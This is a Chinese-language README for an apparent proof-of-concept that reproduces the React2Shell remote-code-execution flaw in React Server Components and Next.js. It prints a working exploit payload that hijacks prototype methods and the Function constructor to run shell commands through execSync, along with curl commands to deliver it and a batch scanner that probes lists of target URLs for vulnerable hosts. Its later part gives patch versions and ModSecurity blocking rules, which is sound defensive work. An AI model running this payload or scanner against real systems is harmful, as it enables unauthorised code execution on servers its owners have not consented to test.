这是一个用于复现 React2Shell (CVE-2025-55182) 和 Next.js RSC RCE (CVE-2025-66478) 漏洞的最小 MVP。
此项目仅用于安全研究和教育目的。请勿在生产环境或未授权的系统上使用。
CVE-2025-55182 是 React Server Components 中的一个严重漏洞,影响:
攻击者可以通过特制的 multipart/form-data 请求利用 Flight Protocol 的反序列化漏洞,实现远程代码执行(RCE)。
$@N 语法获取内部 Chunk 对象$1:__proto__:then 注入恶意 then 方法_formData.get 劫持为 Function 构造器npm install
# 或
yarn install
# 或
pnpm install
npm run dev
服务器将在 http://localhost:3000 启动。
使用提供的测试脚本:
# 单个目标测试
./test-exploit.sh http://localhost:3000
# 或直接使用 curl
curl -X POST http://localhost:3000/ \
-H "Next-Action: x" \
-H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad" \
--data-binary @exploit-payload.txt
如果漏洞存在,你将在响应中看到类似 uid= 的输出(id 命令的执行结果)。
.
├── app/
│ ├── actions.ts # Server Actions(漏洞触发点)
│ ├── page.tsx # 主页面
│ ├── layout.tsx # 布局
│ └── globals.css # 全局样式
├── package.json # 依赖配置(使用受影响版本)
├── next.config.js # Next.js 配置
├── test-exploit.sh # 单个目标漏洞测试脚本
├── scan-targets.sh # 批量扫描脚本
├── exploit-payload.txt # Exploit payload 文件
├── Cve-2025-55182-modsecurity-rules.conf # ModSecurity 防护规则
└── README.md # 本文件
测试单个 URL 是否存在漏洞:
chmod +x test-exploit.sh
./test-exploit.sh http://localhost:3000
特征:如果响应包含 uid= 或 gid=,说明漏洞存在。
批量扫描多个目标 URL:
# 创建目标列表文件
cat > targets.txt << EOF
http://localhost:3000
https://example.com
https://api.example.com:8080
EOF
# 执行批量扫描
chmod +x scan-targets.sh
./scan-targets.sh targets.txt
扫描结果会保存到 vulnerable_hosts.csv。
{
"then": "$1:__proto__:then", // 劫持 then 方法
"status": "resolved_model", // 控制执行路径
"reason": -1,
"value": "{\"then\":\"$B1337\"}", // 触发 Blob 反序列化
"_response": {
"_prefix": "var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor" // 劫持为 Function
}
}
}
npm install [email protected] [email protected] [email protected]
如果无法立即升级,可以部署 ModSecurity 规则临时缓解。
# 1. 安装 mod_security
sudo apt-get install libapache2-mod-security2
# 2. 复制规则文件
sudo cp modsecurity-rules.conf /etc/modsecurity/
# 3. 在 Apache 配置中引入规则
sudo vim /etc/apache2/mods-enabled/security2.conf
# 添加: Include /etc/modsecurity/modsecurity-rules.conf
# 4. 重启 Apache
sudo systemctl restart apache2
# 1. 安装 ModSecurity for Nginx
sudo apt-get install libnginx-mod-security
# 2. 复制规则文件
sudo cp modsecurity-rules.conf /etc/nginx/modsec/
# 3. 在 Nginx 配置中启用
sudo vim /etc/nginx/nginx.conf
# 在 http 或 server 块中添加:
# modsecurity on;
# modsecurity_rules_file /etc/nginx/modsec/modsecurity-rules.conf;
# 4. 重启 Nginx
sudo systemctl restart nginx
ModSecurity 规则会拦截以下特征:
$@N, $BN)__proto__, constructor:constructor)process.mainModule.require, require('child_process'))execSync, exec)_response, _chunks, _formData, _prefix)Next-Action, RSC-Action-ID)⚠️ 注意: WAF 规则只是临时缓解措施,不能提供完整保护。升级到修复版本是必要的。
如果你的应用可能受影响:
test-exploit.sh 脚本测试你的应用Next-Action 请求如果你想直接使用 curl 测试(不使用脚本):
curl -X POST http://localhost:3000/ \
-H "Next-Action: x" \
-H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad" \
-H "X-Nextjs-Request-Id: b5dce965" \
--data-binary @exploit-payload.txt
如果返回结果包含 uid= 或 gid=,说明漏洞存在。
本项目仅用于教育目的。使用本代码时请遵守相关法律法规。